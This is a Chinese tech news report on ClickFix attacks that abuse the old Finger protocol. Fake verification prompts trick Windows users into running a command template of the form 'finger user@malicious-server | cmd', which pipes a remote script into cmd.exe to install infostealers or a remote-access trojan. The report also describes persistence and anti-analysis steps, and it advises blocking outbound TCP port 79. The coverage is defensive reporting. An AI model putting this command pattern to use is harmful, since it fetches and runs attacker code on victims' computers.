黑客滥用古董Windows命令，40年后仍可远程毒控你的电脑
11月16日消息，科技媒体bleepingcomputer昨日（11月15日）发布报告指出，近期有黑客组织利用诞生约40年的“Finger”协议，将其作为新型ClickFix恶意软件攻击链条中的关键环节。
免费影视、动漫、音乐、游戏、小说资源长期稳定更新！ 👉 点此立即查看 👈
注：Finger协议是一种非常早期的互联网协议，诞生于上世纪70年代，主要功能是让用户查询其他用户的公开信息（如登录名、最后上线时间等）。在现代网络环境中已被基本废弃，但其客户端程序（finger.exe）仍在部分操作系统（如Windows）中保留。
攻击者利用该协议，在新型的ClickFix恶意软件攻击中，向受感染的Windows设备远程下发并执行恶意指令。Finger协议最初用于在Unix/Linux系统上查询用户信息，后来也被集成到Windows系统中。
虽然如今已鲜少有人使用，但其作为系统原生工具的特性，使其成为一种理想的“原生二进制程序（LOLBIN）”，能有效规避部分安全软件的检测机制。
攻击的核心在于社会工程学欺骗。攻击者会通过各种方式（如网页弹窗）显示一个伪造的“人机验证”提示，诱导用户按下Win+R快捷键并输入一行看似无害的命令。
该命令格式通常为 finger [用户名]@[恶意服务器地址] | cmd。一旦用户执行，Windows系统内置的finger.exe程序便会向指定服务器发起请求，而服务器返回的并非用户信息，而是一段预设的恶意脚本。
通过管道符 |，该脚本的输出被直接传递给Windows命令处理器cmd.exe执行，从而完成恶意代码的远程投递。
恶意脚本执行后，会立即展开一系列后续动作。它首先会创建一个随机命名的路径，并下载一个伪装成PDF文件的ZIP压缩包。解压后，其中的恶意载荷便会被激活。
根据分析，这些载荷主要分为两类：一类是专门用于窃取用户密码、浏览器记录等敏感数据的信息窃取程序（Infostealer）；另一类则是功能更强大的NetSupport Manager远程访问木马（RAT），一旦植入，攻击者便能完全控制受害者的计算机。
为实现持久化，该脚本还会创建一个计划任务，确保恶意软件在用户每次登录系统时都能自动运行。
研究人员发现，这种攻击手法还在不断演变。在一些更新的攻击案例中，恶意脚本在执行核心任务前，会先扫描受害者电脑中是否存在常见的恶意软件分析工具。
这些工具包括Process Monitor、Wireshark、Fiddler、OllyDbg等数十款。如果检测到任何一款分析工具正在运行，脚本会立即终止执行，从而增加安全研究人员对其进行分析和追踪的难度。
由于此类攻击依赖于Finger协议进行通信，而该协议使用专门的TCP 79端口，因此防御策略也相对明确。对于绝大多数企业和个人用户而言，Finger协议并无实际用途。因此，系统管理员和安全防护人员应在网络防火墙上阻止所有出站到TCP 79端口的流量。
相关攻略
微软发布 Win10 三月安全更新 KB5078885：解决系统卡顿、更新安全启动证书并增强显卡兼容性 3月11日消息，在本月的补丁星期二（3月10日），微软面向已加入“扩展安全更新”（ESU）计划的 Windows 10 用户，正式推送了累积更新 KB5078885。安装此更新后，操作系统版本将升
微软 Win11 26H1 28000 1719 更新详解：AI 智能体全面支持中文 2025年3月，微软再次为 Windows 11 用户带来了重要更新。面向 Windows 11 26H1 通道，本次 KB5079466 补丁将系统版本号升级至 Build 28000 1719。此次更新聚焦于优
微软Surface Laptop 3英特尔版获推关键固件升级：显著优化触控笔响应与应用兼容性 经常留意Surface系列更新的用户可能已经发现，微软于近期向搭载英特尔平台的Surface Laptop 3设备推送了一项重要的固件更新。本次升级的核心目标清晰明确：重点提升了图形处理单元的稳定性与效率，
4月1日消息，微软发布了一篇新的支持文章，宣布在所有受支持Windows版本更新中，已移除Microsoft Support and Recovery Assistant（SaRA）命令行工具。此举
4月1日消息，微软今日发布了带外修复补丁KB5086672，解决了此前被紧急撤回的3月预览更新KB5079391的安装错误问题。本月早些时候，微软推送了Windows 11 2026年3月非安全更新
热门专题
热门推荐
OPPO A6k手机重磅发布：天玑6300处理器、高清LCD直屏、7000mAh超大电池，售价仅1999元起 OPPO旗下广受欢迎的A系列再添实力新机。近日，备受期待的OPPO A6k正式上市发售。这款新品搭载了备受好评的天玑6300八核处理器，并配备了一块容量高达7000mAh的耐用长寿电池，成为
速览 在《红色沙漠》的广阔世界中，数量丰富的支线任务与主线剧情共同构筑了沉浸式的冒险体验。其中，“熔化锁链的火焰”任务作为瑟金斯家族剧情线的关键环节，其触发机制与主线进程紧密相连。任务并非随时可用，玩家需将主线故事推进到特定阶段后，任务才会自动添加至任务日志。本篇攻略将为你详解此支线任务的接取条件与
《异种航员2》运动机制深度解析 在《异种航员2》（Xenonauts 2）的策略战斗中，对“时间单位”（TU）的高效运用是取胜的核心。每个士兵的移动、射击乃至战术配合，都依赖于玩家对TU的精确规划。操作上手简单：选中单位后，直接使用鼠标左键点击目的地方格，系统便会清晰显示移动所需消耗的时间单位，帮助
速览 在《异种航员2》(Xenonauts 2)的战局中，掌握“战术规避”与精通“火力输出”同等关键。游戏全新设计的掩体系统，是提升你作战小队生存几率的战略性核心。简言之，战场上绝大多数可见的物体都能转化为你的战术屏障。无论是散落的木箱、残缺的矮墙，还是茂密的灌木丛与坚实的建筑物，巧妙地利用它们，就
速览 在开放世界大作《红色沙漠》中，庞大的支线任务系统为玩家提供了丰富的探索体验。其中，“超凡建造物”任务是阿方索家族势力任务线中的重要一环。要成功接取此任务，玩家必须首先完成其前置任务【枪械名门】。在此之后，任务的下一步关键操作是前往游戏中标注的特定建筑地点进行互动调查——这本质上是一个用于快速移